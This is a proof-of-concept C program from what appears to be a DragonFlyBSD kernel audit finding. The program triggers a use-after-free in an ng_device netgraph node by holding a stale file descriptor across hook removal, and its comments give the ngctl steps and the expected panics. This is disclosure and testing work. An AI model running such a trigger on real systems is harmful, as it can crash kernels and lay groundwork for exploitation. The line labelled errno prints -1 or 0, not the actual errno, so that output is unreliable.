⬢ DragonFlyBSD Kernel Audit
DF-3547 / stalefd.c
← back to finding ↓ download raw
/*
 * DF-3547 trigger — stale-fd use-after-free against ng7 ng_device.
 *
 * CANNOT RUN on stock DragonFly: the ng7 ng_device node type does not
 * compile / is not wired into any build (see ../build.log, ../env.txt).
 *
 * Intended sequence (requires a ported & loaded ng_device type, root):
 *   1. ngctl mkpeer . device dl dl     (creates the node, /dev/ngdN appears)
 *   2. ./stalefd                       (open /dev/ngdN, park on the fd)
 *   3. ngctl rmhook <node> dl          (disconnect: destroy_dev(async) + kfree(priv))
 *   4. press ENTER                     (read()/write() now touch freed priv)
 *
 * Expected on a vulnerable build: INVARIANTS panic / objcache double-free from
 * IF_DEQUEUE on the drained-then-freed readq (read), or a walk through the freed
 * priv->hook pointer (write).
 */
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/ngd0";
	char buf[256];
	ssize_t n;
	int fd;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		perror("open");
		return (1);
	}
	printf("[+] opened %s fd=%d\n", dev, fd);
	printf("[+] now run:  ngctl rmhook <device-node> dl   then press ENTER\n");
	if (getchar() < 0)
		return (1);

	n = read(fd, buf, sizeof(buf));		/* UAF: IF_DEQUEUE on freed readq */
	printf("[+] read()  -> %zd (errno=%d)\n", n, (int)(n < 0 ? -1 : 0));
	n = write(fd, "AAAA", 4);		/* UAF: NG_SEND_DATA_ONLY(priv->hook) */
	printf("[+] write() -> %zd\n", n);
	return (0);
}